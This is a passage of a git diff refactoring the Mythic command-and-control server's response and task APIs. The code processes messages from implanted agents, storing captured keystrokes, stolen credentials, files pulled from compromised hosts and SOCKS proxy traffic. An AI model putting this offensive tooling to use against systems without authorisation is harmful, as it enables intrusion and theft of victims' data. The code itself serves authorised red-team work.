from sanic.response import json
from app.database_models.model import (
Task,
@@ -21,11 +22,17 @@
import sys
from sanic.exceptions import abort
from math import ceil
-from sanic.log import logger
from peewee import fn
from app.api.siem_logger import log_to_siem
-from app.api.file_browser_api import add_upload_file_to_file_browser
+from app.api.file_browser_api import add_upload_file_to_file_browser, mark_nested_deletes
import asyncio
+from app.api.rabbitmq_api import send_pt_rabbitmq_message
+from app.api.task_api import add_all_payload_info
+from app.api.operation_api import send_all_operations_message
+from app.api.rabbitmq_api import create_processes
+from app.api.task_api import check_and_issue_task_callback_functions
+from sanic.log import logger
+from app.api.file_api import download_agent_file
# This gets all responses in the database
@@ -42,72 +49,64 @@ async def get_all_responses(request, user):
)
try:
responses = []
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- callbacks = await db_objects.execute(
- query.where(Callback.operation == operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ callbacks = await app.db_objects.execute(
+ db_model.callback_query.where(Callback.operation == operation)
)
for c in callbacks:
- query = await db_model.task_query()
- tasks = await db_objects.prefetch(
- query.where(Task.callback == c), Command.select()
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(Task.callback == c), Command.select()
)
for t in tasks:
- query = await db_model.response_query()
- task_responses = await db_objects.execute(
- query.where(Response.task == t)
+ task_responses = await app.db_objects.execute(
+ db_model.response_query.where(Response.task == t)
)
responses += [r.to_json() for r in task_responses]
except Exception as e:
+ logger.warning("response_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": "Cannot get responses: " + str(e)})
return json(responses)
@mythic.route(
- mythic.config["API_BASE"] + "/responses/by_task/", methods=["GET"]
+ mythic.config["API_BASE"] + "/responses/by_task/", methods=["GET"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_all_responses_for_task(request, user, id):
+async def get_all_responses_for_task(request, user, tid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.task_query()
- task = await db_objects.get(query, id=id)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ task = await app.db_objects.get(db_model.task_query, id=tid)
except Exception as e:
return json({"status": "error", "error": "failed to get operation or task"})
- query = await db_model.response_query()
- responses = await db_objects.execute(
- query.where(Response.task == task).order_by(Response.id)
+ responses = await app.db_objects.execute(
+ db_model.response_query.where(Response.task == task).order_by(Response.id)
)
return json([r.to_json() for r in responses])
# Get a single response
-@mythic.route(mythic.config["API_BASE"] + "/responses/", methods=["GET"])
+@mythic.route(mythic.config["API_BASE"] + "/responses/", methods=["GET"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_one_response(request, user, id):
+async def get_one_response(request, user, rid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.response_query()
- resp = await db_objects.get(query, id=id)
- query = await db_model.callback_query()
- cb = await db_objects.get(query.where(Callback.id == resp.task.callback))
+ resp = await app.db_objects.get(db_model.response_query, id=rid)
+ cb = await app.db_objects.get(db_model.callback_query.where(Callback.id == resp.task.callback))
if cb.operation.name == user["current_operation"]:
return json(resp.to_json())
else:
@@ -138,31 +137,27 @@ async def search_responses(request, user):
return json(
{"status": "error", "error": "failed to find search term in request"}
)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "Cannot get that response"})
try:
- query = await db_model.task_query()
- count = await db_objects.count(
- query.join(Response)
- .switch(Response)
+ count = await app.db_objects.count(
+ db_model.response_query
.where(fn.encode(Response.response, "escape").regexp(data["search"]))
.switch(Task)
.where(Callback.operation == operation)
.order_by(Task.id)
- .distinct()
+ .distinct(Task.id)
)
if "page" not in data:
# allow a blanket search to still be performed
- responses = await db_objects.execute(
- query.join(Response)
- .switch(Response)
+ responses = await app.db_objects.execute(
+ db_model.response_query
.where(fn.encode(Response.response, "escape").regexp(data["search"]))
.switch(Task)
.where(Callback.operation == operation)
.order_by(Task.id)
- .distinct()
+ .distinct(Task.id)
)
data["page"] = 1
data["size"] = count
@@ -185,23 +180,23 @@ async def search_responses(request, user):
data["page"] = ceil(count / data["size"])
if data["page"] == 0:
data["page"] = 1
- responses = await db_objects.execute(
- query.join(Response)
- .switch(Response)
+ responses = await app.db_objects.execute(
+ db_model.response_query
.where(fn.encode(Response.response, "escape").regexp(data["search"]))
.switch(Task)
.where(Callback.operation == operation)
.order_by(Task.id)
- .distinct()
+ .distinct(Task.id)
.paginate(data["page"], data["size"])
)
output = []
- response_query = await db_model.response_query()
for r in responses:
- setup = await db_objects.execute(
- response_query.where(Response.task == r).order_by(Response.id)
+ setup = await app.db_objects.execute(
+ db_model.response_query.where(Response.task == r.task).order_by(Response.id)
)
- output.append({**r.to_json(), "response": [s.to_json() for s in setup]})
+ # do an extra query here for task data so that we aren't doing a bunch of sync queries when we do .to_json
+ task = await app.db_objects.get(db_model.task_query, id=r.task.id)
+ output.append({**task.to_json(), "response": [s.to_json(include_task=False) for s in setup]})
return json(
{
"status": "success",
@@ -212,11 +207,11 @@ async def search_responses(request, user):
}
)
except Exception as e:
- print(str(e))
+ logger.warning("response_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": "bad regex syntax"})
-async def post_agent_response(agent_message, UUID):
+async def post_agent_response(agent_message, callback):
# { INPUT
# "action": "post_response",
# "responses": [
@@ -245,47 +240,28 @@ async def post_agent_response(agent_message, UUID):
del r["task_id"]
parsed_response = r
try:
- query = await db_model.task_query()
- task = await db_objects.get(query, agent_task_id=task_id)
- # update the callback's last checkin time since it just posted a response
- task.callback.last_checkin = datetime.datetime.utcnow()
- task.callback.active = True # always set this to true regardless of what it was before because it's clearly active
- await db_objects.update(task.callback) # update the last checkin time
+ task = await app.db_objects.prefetch(db_model.task_query.where(db_model.Task.agent_task_id == task_id),
+ db_model.callback_query,
+ db_model.callbacktoken_query)
+ task = list(task)[0]
except Exception as e:
- logger.exception("Failed to find callback or task: " + str(e))
+ asyncio.create_task(
+ send_all_operations_message(message=f"Failed to find task: {task_id}",
+ level="warning", source="process_list", operation=callback.operation))
response_message["responses"].append(
{task_id: "error", "error": "failed to find task or callback"}
)
continue
json_return_info = {"status": "success", "task_id": task_id}
final_output = "" # we're resetting it since we're going to be doing some processing on the response
+ marked_as_complete = False
try:
- if task.command.is_process_list:
- # save this data off as a process list object in addition to doing whatever normally
- # this might be chunked, so see if one already exists for this task and just add to it, or create a new one
- try:
- query = await db_model.processlist_query()
- pl = await db_objects.get(query, task=task)
- pl.process_list += parsed_response["user_output"].encode(
- "unicode-escape"
- )
- pl.timestamp = datetime.datetime.utcnow()
- await db_objects.update(pl)
- except Exception as e:
- await db_objects.create(
- db_model.ProcessList,
- task=task,
- host=task.callback.host,
- process_list=parsed_response["user_output"].encode(
- "unicode-escape"
- ),
- operation=task.callback.operation,
- )
try:
if "completed" in parsed_response:
if parsed_response["completed"]:
task.completed = True
- await log_to_siem(task.to_json(), mythic_object="task_completed")
+ marked_as_complete = True
+ asyncio.create_task(log_to_siem(mythic_object=task, mythic_source="task_completed"))
parsed_response.pop("completed", None)
if "user_output" in parsed_response:
if parsed_response["user_output"] is not None:
@@ -311,21 +287,22 @@ async def post_agent_response(agent_message, UUID):
and parsed_response["removed_files"] != []
and parsed_response["removed_files"] != ""
):
- filebrowserquery = await db_model.filebrowserobj_query()
for f in parsed_response["removed_files"]:
if "host" not in f or f["host"] == "":
f["host"] = task.callback.host
# we want to see if there's a filebrowserobj that matches up with the removed files
try:
- fobj = await db_objects.get(
- filebrowserquery,
+ fobj = await app.db_objects.get(
+ db_model.filebrowserobj_query,
operation=task.callback.operation,
- host=f["host"].upper().encode("unicode-escape"),
- full_path=f["path"].encode("unicode-escape"),
+ host=f["host"].upper(),
+ full_path=f["path"].encode('utf-8'),
deleted=False,
)
fobj.deleted = True
- await db_objects.update(fobj)
+ if not fobj.is_file:
+ asyncio.create_task(mark_nested_deletes(fobj, task.callback.operation))
+ await app.db_objects.update(fobj)
except Exception as e:
pass
parsed_response.pop("removed_files", None)
@@ -335,6 +312,10 @@ async def post_agent_response(agent_message, UUID):
str(parsed_response["total_chunks"]) != "" and\
parsed_response["total_chunks"] >= 0:
parsed_response["task"] = task.id
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Agent sent 'total_chunks' in a response, starting a file 'Download' from agent to Mythic",
+ level="info", source="debug", operation=task.callback.operation)
rsp = await create_filemeta_in_database_func(parsed_response)
parsed_response.pop("task", None)
if rsp["status"] == "success":
@@ -346,10 +327,8 @@ async def post_agent_response(agent_message, UUID):
sort_keys=True,
indent=2,
)
- .encode("unicode-escape", errors="backslashreplace")
- .decode("utf-8", errors="backslashreplace")
)
- await db_objects.create(
+ await app.db_objects.create(
Response, task=task, response=download_data
)
json_return_info = {
@@ -371,12 +350,15 @@ async def post_agent_response(agent_message, UUID):
):
# allow agents to post the initial chunk data with initial metadata
parsed_response["file_id"] = json_return_info["file_id"]
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', agent sent new chunk_data",
+ level="info", source="debug", operation=task.callback.operation)
rsp = await download_file_to_disk_func(parsed_response)
if rsp["status"] == "error":
json_return_info["status"] = "error"
json_return_info["error"] = json_return_info["error"] + " " + rsp[
"error"] if "error" in json_return_info else rsp["error"]
- final_output += rsp["error"]
parsed_response.pop("chunk_num", None)
parsed_response.pop("chunk_data", None)
if "keystrokes" in parsed_response:
@@ -393,35 +375,25 @@ async def post_agent_response(agent_message, UUID):
or parsed_response["user"] == ""
):
parsed_response["user"] = "UNKNOWN"
- rsp = await db_objects.create(
+ rsp = await app.db_objects.create(
Keylog,
task=task,
window=parsed_response["window_title"],
- keystrokes=parsed_response["keystrokes"].encode("unicode-escape"),
+ keystrokes=parsed_response["keystrokes"].encode("utf-8"),
operation=task.callback.operation,
user=parsed_response["user"],
)
- await log_to_siem(rsp.to_json(), mythic_object="keylog_new")
+ asyncio.create_task(log_to_siem(mythic_object=rsp, mythic_source="keylog_new"))
parsed_response.pop("window_title", None)
parsed_response.pop("user", None)
parsed_response.pop("keystrokes", None)
if "credentials" in parsed_response:
if parsed_response["credentials"] is not None and str(parsed_response["credentials"]) != "":
- total_creds_added = 0
- total_repeats = 0
for cred in parsed_response["credentials"]:
cred["task"] = task
- new_cred_status = await create_credential_func(
+ asyncio.create_task(create_credential_func(
task.operator, task.callback.operation, cred
- )
- if (
- new_cred_status["status"] == "success"
- and new_cred_status["new"]
- ):
- total_creds_added = total_creds_added + 1
- elif new_cred_status["status"] == "success":
- total_repeats = total_repeats + 1
- # final_output += "\nAdded {} new credentials\n".format(str(total_creds_added))
+ ))
parsed_response.pop("credentials", None)
if "artifacts" in parsed_response:
# now handle the case where the agent is reporting back artifact information
@@ -429,27 +401,26 @@ async def post_agent_response(agent_message, UUID):
for artifact in parsed_response["artifacts"]:
try:
try:
- query = await db_model.artifact_query()
- base_artifact = await db_objects.get(
- query, name=artifact["base_artifact"].encode("unicode-escape")
+ base_artifact = await app.db_objects.get(
+ db_model.artifact_query, name=artifact["base_artifact"]
)
except Exception as e:
- base_artifact = await db_objects.create(
+ base_artifact = await app.db_objects.create(
Artifact,
- name=artifact["base_artifact"].encode("unicode-escape"),
+ name=artifact["base_artifact"],
description="Auto created from task {}".format(
task.id
- ).encode("unicode-escape"),
+ ),
)
# you can report back multiple artifacts at once, no reason to make separate C2 requests
- art = await db_objects.create(
+ art = await app.db_objects.create(
TaskArtifact,
task=task,
- artifact_instance=str(artifact["artifact"]).encode("unicode-escape"),
+ artifact_instance=str(artifact["artifact"]).encode("utf-8"),
artifact=base_artifact,
- host=task.callback.host.encode("unicode-escape"),
+ host=task.callback.host.upper(),
)
- await log_to_siem(art.to_json(), mythic_object="artifact_new")
+ asyncio.create_task(log_to_siem(mythic_object=art, mythic_source="artifact_new"))
# final_output += "\nAdded artifact {}".format(str(artifact['artifact']))
except Exception as e:
final_output += (
@@ -461,12 +432,31 @@ async def post_agent_response(agent_message, UUID):
json_return_info["status"] = "error"
json_return_info["error"] = json_return_info["error"] + " " + str(e) if "error" in json_return_info else str(e)
parsed_response.pop("artifacts", None)
+ if "processes" in parsed_response:
+ if parsed_response["processes"] != "" and parsed_response["processes"] is not None:
+ asyncio.create_task(create_processes({"processes": parsed_response["processes"]}, task))
if "status" in parsed_response:
if parsed_response["status"] != "" and parsed_response["status"] is not None:
task.status = str(parsed_response["status"]).lower()
if task.status_timestamp_processed is None:
task.status_timestamp_processed = datetime.datetime.utcnow()
+ if task.status == "error":
+ task.completed = True
+ marked_as_complete = True
+ elif task.status == "completed" or task.status == "complete":
+ task.completed = True
+ marked_as_complete = True
+ else:
+ if task.status_timestamp_processed is None:
+ task.status_timestamp_processed = datetime.datetime.utcnow()
+ if task.status == "processing":
+ task.status = "processed"
parsed_response.pop("status", None)
+ else:
+ if task.status_timestamp_processed is None:
+ task.status_timestamp_processed = datetime.datetime.utcnow()
+ if task.status == "processing":
+ task.status = "processed"
if (
"full_path" in parsed_response
and "file_id" in parsed_response
@@ -476,10 +466,13 @@ async def post_agent_response(agent_message, UUID):
and parsed_response["file_id"] is not None
):
# updating the full_path field of a file object after the initial checkin for it
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Processing agent response, got file_id, {parsed_response['file_id']}, and a full path, {parsed_response['full_path']}. Going to try to associate them.",
+ level="info", source="debug", operation=task.callback.operation)
try:
- query = await db_model.filemeta_query()
- file_meta = await db_objects.get(
- query, agent_file_id=parsed_response["file_id"], operation=task.callback.operation
+ file_meta = await app.db_objects.get(
+ db_model.filemeta_query, agent_file_id=parsed_response["file_id"], operation=task.callback.operation
)
if "host" in parsed_response and parsed_response["host"] is not None and parsed_response["host"] != "":
host = parsed_response["host"]
@@ -487,16 +480,16 @@ async def post_agent_response(agent_message, UUID):
host = task.callback.host
if file_meta.task is None or file_meta.task != task:
# print("creating new file")
- f = await db_objects.create(
+ f = await app.db_objects.create(
db_model.FileMeta,
task=task,
- host=host.upper().encode("unicode-escape"),
+ host=host.upper(),
total_chunks=file_meta.total_chunks,
chunks_received=file_meta.chunks_received,
chunk_size=file_meta.chunk_size,
complete=file_meta.complete,
- path=file_meta.path.encode("unicode-escape"),
- full_remote_path=parsed_response["full_path"].encode("unicode-escape"),
+ path=file_meta.path,
+ full_remote_path=parsed_response["full_path"].encode("utf-8"),
operation=task.callback.operation,
md5=file_meta.md5,
sha1=file_meta.sha1,
@@ -505,32 +498,25 @@ async def post_agent_response(agent_message, UUID):
operator=task.operator,
)
else:
- if (
- file_meta.full_remote_path is None
- or file_meta.full_remote_path == ""
- ):
- file_meta.full_remote_path = parsed_response[
- "full_path"
- ].encode("unicode-escape")
- else:
- file_meta.full_remote_path = (
- file_meta.full_remote_path
- + ","
- + parsed_response["full_path"]
- ).encode("unicode-escape")
+ file_meta.full_remote_path = parsed_response["full_path"].encode("utf-8")
if host != file_meta.host:
- file_meta.host = host.upper().encode("unicode-escape")
- await db_objects.update(file_meta)
+ file_meta.host = host.upper()
+ await app.db_objects.update(file_meta)
if file_meta.full_remote_path != "":
- await add_upload_file_to_file_browser(task.callback.operation, task, file_meta,
- {"host": host,
- "full_path": parsed_response["full_path"]})
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Processing agent response, associated {file_meta.agent_file_id} with {parsed_response['full_path']}, now updating file browser data",
+ level="info", source="debug", operation=task.callback.operation)
+ asyncio.create_task(add_upload_file_to_file_browser(task.callback.operation, task,
+ file_meta,
+ {"host": host.upper(),
+ "full_path": parsed_response["full_path"]}))
except Exception as e:
- print(str(e))
- logger.exception(
- "Tried to update the full path for a file that can't be found: "
- + parsed_response["file_id"]
- )
+ logger.warning("response_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Failed to associate new 'full_path' with file {parsed_response['file_id']} - {str(e)}",
+ level="info")
parsed_response.pop("full_path", None)
parsed_response.pop("file_id", None)
parsed_response.pop("host", None)
@@ -540,30 +526,77 @@ async def post_agent_response(agent_message, UUID):
try:
from app.api.callback_api import add_p2p_route
- rsp = await add_p2p_route(
+ asyncio.create_task(add_p2p_route(
parsed_response["edges"], task.callback, task
- )
+ ))
except Exception as e:
print(str(e))
- json_return_info["status"] = "error"
- json_return_info["error"] = json_return_info["error"] + " " + str(e) if "error" in json_return_info else str(e)
parsed_response.pop("edges", None)
if "commands" in parsed_response:
if parsed_response["commands"] != [] and parsed_response["commands"] is not None and parsed_response["commands"] != "":
# the agent is reporting back that it has commands that are loaded/unloaded
from app.api.callback_api import load_commands_func
for c in parsed_response["commands"]:
- rsp = await load_commands_func(command_dict=c, callback=task.callback, task=task)
- if rsp["status"] == "error":
- json_return_info["status"] = "error"
- json_return_info["error"] = json_return_info["error"] + " " + rsp[
- "error"] if "error" in json_return_info else rsp["error"]
+ asyncio.create_task(load_commands_func(command_dict=c,
+ callback=task.callback,
+ task=task))
parsed_response.pop("commands", None)
+ if "upload" in parsed_response:
+ if parsed_response["upload"] != {} and parsed_response["upload"] is not None and parsed_response["upload"] != "":
+ rsp = await download_agent_file(parsed_response["upload"], in_response=True, task_id=task.agent_task_id)
+ if rsp["status"] == "error":
+ json_return_info["status"] = "error"
+ json_return_info["error"] = json_return_info["error"] + " " + rsp[
+ "error"] if "error" in json_return_info else rsp["error"]
+ else:
+ json_return_info = {**rsp, **json_return_info}
+ parsed_response.pop("upload", None)
+ if "process_response" in parsed_response and parsed_response["process_response"] != "" and parsed_response["process_response"] is not None:
+ try:
+ rabbit_message = {"params": task.params, "command": task.command.cmd}
+ rabbit_message["task"] = task.to_json()
+ rabbit_message["task"]["callback"] = task.callback.to_json()
+ # get the information for the callback's associated payload
+ payload_info = await add_all_payload_info(task.callback.registered_payload)
+ rabbit_message["task"]["callback"]["build_parameters"] = payload_info[
+ "build_parameters"
+ ]
+ rabbit_message["task"]["callback"]["c2info"] = payload_info["c2info"]
+ tags = await app.db_objects.execute(
+ db_model.tasktag_query.where(db_model.TaskTag.task == task))
+ rabbit_message["task"]["tags"] = [t.tag for t in tags]
+ rabbit_message["task"]["token"] = task.token.to_json() if task.token is not None else None
+ rabbit_message["response"] = parsed_response["process_response"]
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Sending message to {task.callback.registered_payload.payload_type.ptype}'s container for processing of a 'process_response' message:\n{str(parsed_response['process_container'])}",
+ level="info", source="debug", operation=task.callback.operation)
+ status = await send_pt_rabbitmq_message(payload_type=task.callback.registered_payload.payload_type.ptype,
+ command="process_container",
+ username="",
+ reference_id=task.id,
+ message_body=js.dumps(rabbit_message))
+ if status["status"] == "error" and "type" in status:
+ logger.error("response_api.py: sending process_response message: " + status["error"])
+ await app.db_objects.create(Response, task=task,
+ response="Container not running, failed to process process_response data, saving here")
+ await app.db_objects.create(Response, task=task, response=parsed_response["process_response"])
+ task.callback.registered_payload.payload_type.container_count = 0
+ await app.db_objects.update(task.callback.registered_payload.payload_type)
+ if status["status"] == "error":
+ logger.error("response_api.py: sending process_response message: " + status["error"])
+ except Exception as pc:
+ logger.error("response_api.py: " + str(sys.exc_info()[-1].tb_lineno) + str(pc))
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Failed to send message to payload container:\n{str(pc)}",
+ level="info", source="debug", operation=task.callback.operation)
+ parsed_response.pop("process_response", None)
parsed_response.pop("full_path", None)
parsed_response.pop("host", None)
parsed_response.pop("file_id", None)
except Exception as e:
- print(sys.exc_info()[-1].tb_lineno)
+ logger.warning("response_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
final_output += (
"Failed to process a JSON-based response with error: "
+ str(e)
@@ -576,24 +609,32 @@ async def post_agent_response(agent_message, UUID):
json_return_info["error"] = json_return_info["error"] + " " + str(e) if "error" in json_return_info else str(e)
except Exception as e:
# response is not json, so just process it as normal
- print(str(e))
+ asyncio.create_task(
+ send_all_operations_message(message=f"Failed to parse response data:\n{str(e)}",
+ level="warning", source="response",
+ operation=task.callback.operation))
pass
# echo back any values that the agent sent us that don't match something we're expecting
- #print(parsed_response)
json_return_info = {**json_return_info, **parsed_response}
- #print(json_return_info)
if final_output != "":
# if we got here, then we did some sort of meta processing
- resp = await db_objects.create(
+ resp = await app.db_objects.create(
Response,
task=task,
- response=final_output.encode("unicode-escape"),
+ response=final_output.encode("utf-8")
)
- await log_to_siem(resp.to_json(), mythic_object="response_new")
+ asyncio.create_task(log_to_siem(mythic_object=resp, mythic_source="response_new"))
task.timestamp = datetime.datetime.utcnow()
- await db_objects.update(task)
+ await app.db_objects.update(task)
+ if marked_as_complete:
+ asyncio.create_task(check_and_issue_task_callback_functions(task))
response_message["responses"].append(json_return_info)
except Exception as e:
+ logger.warning("response_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ asyncio.create_task(
+ send_all_operations_message(message=f"Failed to process response:\n{str(e)}", level="warning",
+ source="response_meta",
+ operation=callback.operation))
response_message["responses"].append(
{
"status": "error",
@@ -607,14 +648,11 @@ async def post_agent_response(agent_message, UUID):
and agent_message["socks"] != []
and agent_message["socks"] is not None
):
- from app.api.callback_api import send_socks_data
-
- query = await db_model.callback_query()
- callback = await db_objects.get(query, agent_callback_id=UUID)
- await send_socks_data(agent_message["socks"], callback)
+ # since this could be in any worker, publish this data to a channel that should be listening
+ app.redis_pool.publish(f"SOCKS:{callback.id}:FromAgent", js.dumps(agent_message["socks"]))
agent_message.pop("socks", None)
# echo back any additional parameters here as well
for k in agent_message:
- if k not in ["action", "responses", "delegates", "socks"]:
+ if k not in ["action", "responses", "delegates", "socks", "edges"]:
response_message[k] = agent_message[k]
return response_message
diff --git a/mythic-docker/app/api/siem_logger.py b/mythic-docker/app/api/siem_logger.py
index 95110ab4f..522e88747 100644
--- a/mythic-docker/app/api/siem_logger.py
+++ b/mythic-docker/app/api/siem_logger.py
@@ -13,11 +13,15 @@
mythic_siem_logger.addHandler(file_handler)
-async def log_to_siem(message: dict, mythic_object: str):
+async def log_to_siem(mythic_object, mythic_source: str):
if mythic_siem_logger is not None:
+ if type(mythic_object).__name__ in ["Callback"]:
+ message = mythic_object.to_json(False)
+ else:
+ message = mythic_object.to_json()
log_msg = {
"timestamp": datetime.datetime.utcnow().strftime("%m/%d/%Y %H:%M:%S"),
- "mythic_object": mythic_object,
+ "mythic_object": mythic_source,
"message": message
}
mythic_siem_logger.debug(ujson.dumps(log_msg))
diff --git a/mythic-docker/app/api/task_api.py b/mythic-docker/app/api/task_api.py
index ba6bef11d..dd124f284 100755
--- a/mythic-docker/app/api/task_api.py
+++ b/mythic-docker/app/api/task_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import (
Callback,
@@ -18,11 +19,12 @@
import os
import base64
import app.database_models.model as db_model
-from app.api.rabbitmq_api import send_pt_rabbitmq_message
+from app.api.rabbitmq_api import send_pt_rabbitmq_message, MythicBaseRPC
from sanic.exceptions import abort
from math import ceil
from sanic.log import logger
from app.api.siem_logger import log_to_siem
+import asyncio
# This gets all tasks in the database
@@ -37,14 +39,12 @@ async def get_all_tasks(request, user):
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
- query = await db_model.task_query()
- full_task_data = await db_objects.prefetch(query, Command.select())
+ full_task_data = await app.db_objects.prefetch(db_model.task_query, Command.select())
if user["admin"]:
- # callbacks_with_operators = await db_objects.prefetch(callbacks, operators)
+ # callbacks_with_operators = await app.db_objects.prefetch(callbacks, operators)
return json([c.to_json() for c in full_task_data])
elif user["current_operation"] != "":
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
return json(
[c.to_json() for c in full_task_data if c.callback.operation == operation]
)
@@ -80,21 +80,18 @@ async def search_tasks(request, user):
if "export" not in data:
data["export"] = False
if "operator" in data:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=data["operator"])
+ operator = await app.db_objects.get(db_model.operator_query, username=data["operator"])
data["operator"] = operator
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json(
{"status": "error", "error": "Cannot get that operation or operator"}
)
try:
- query = await db_model.task_query()
if data["type"] == "params":
if "operator" in data:
- count = await db_objects.count(
- query.where(
+ count = await app.db_objects.count(
+ db_model.task_query.where(
(
(Task.params.regexp(data["search"]))
| (Task.original_params.regexp(data["search"]))
@@ -106,8 +103,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- count = await db_objects.count(
- query.where(
+ count = await app.db_objects.count(
+ db_model.task_query.where(
(Task.params.regexp(data["search"]))
| (Task.original_params.regexp(data["search"]))
)
@@ -117,8 +114,8 @@ async def search_tasks(request, user):
)
elif data["type"] == "cmds":
if "operator" in data:
- count = await db_objects.count(
- query.where(Command.cmd.regexp(data["search"]))
+ count = await app.db_objects.count(
+ db_model.task_query.where(Command.cmd.regexp(data["search"]))
.switch(Callback)
.where(Callback.operation == operation)
.switch(Task)
@@ -126,15 +123,15 @@ async def search_tasks(request, user):
.distinct()
)
else:
- count = await db_objects.count(
- query.where(Command.cmd.regexp(data["search"]))
+ count = await app.db_objects.count(
+ db_model.task_query.where(Command.cmd.regexp(data["search"]))
.switch(Callback)
.where(Callback.operation == operation)
)
else:
if "operator" in data:
- count = await db_objects.count(
- query.where(
+ count = await app.db_objects.count(
+ db_model.task_query.where(
(Task.comment.regexp(data["search"])) & (Task.comment != "")
)
.switch(Callback)
@@ -144,8 +141,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- count = await db_objects.count(
- query.where(
+ count = await app.db_objects.count(
+ db_model.task_query.where(
(Task.comment.regexp(data["search"])) & (Task.comment != "")
)
.switch(Callback)
@@ -157,8 +154,8 @@ async def search_tasks(request, user):
data["size"] = count
if data["type"] == "params":
if "operator" in data:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(
(Task.params.regexp(data["search"]))
| (Task.original_params.regexp(data["search"]))
@@ -172,8 +169,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(Task.params.regexp(data["search"]))
| (Task.original_params.regexp(data["search"]))
)
@@ -185,8 +182,8 @@ async def search_tasks(request, user):
)
elif data["type"] == "cmds":
if "operator" in data:
- tasks = await db_objects.prefetch(
- query.switch(Command)
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.switch(Command)
.where(Command.cmd.regexp(data["search"]))
.switch(Callback)
.where(Callback.operation == operation)
@@ -197,8 +194,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- tasks = await db_objects.prefetch(
- query.switch(Command)
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.switch(Command)
.where(Command.cmd.regexp(data["search"]))
.switch(Callback)
.where(Callback.operation == operation)
@@ -208,8 +205,8 @@ async def search_tasks(request, user):
)
else:
if "operator" in data:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(Task.comment.regexp(data["search"])) & (Task.comment != "")
)
.switch(Callback)
@@ -221,8 +218,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(Task.comment.regexp(data["search"])) & (Task.comment != "")
)
.switch(Callback)
@@ -252,8 +249,8 @@ async def search_tasks(request, user):
data["page"] = 1
if data["type"] == "params":
if "operator" in data:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(
(Task.params.regexp(data["search"]))
| (Task.original_params.regexp(data["search"]))
@@ -267,8 +264,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(Task.params.regexp(data["search"]))
| (Task.original_params.regexp(data["search"]))
)
@@ -280,8 +277,8 @@ async def search_tasks(request, user):
)
elif data["type"] == "cmds":
if "operator" in data:
- tasks = await db_objects.prefetch(
- query.switch(Command)
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.switch(Command)
.where(Command.cmd.regexp(data["search"]))
.switch(Callback)
.where(Callback.operation == operation)
@@ -292,8 +289,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- tasks = await db_objects.prefetch(
- query.switch(Command)
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.switch(Command)
.where(Command.cmd.regexp(data["search"]))
.switch(Callback)
.where(Callback.operation == operation)
@@ -303,8 +300,8 @@ async def search_tasks(request, user):
)
else:
if "operator" in data:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
(Task.comment.regexp(data["search"])) & (Task.comment != "")
)
.switch(Callback)
@@ -316,8 +313,8 @@ async def search_tasks(request, user):
.distinct()
)
else:
- tasks = await db_objects.prefetch(
- query.where(
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(
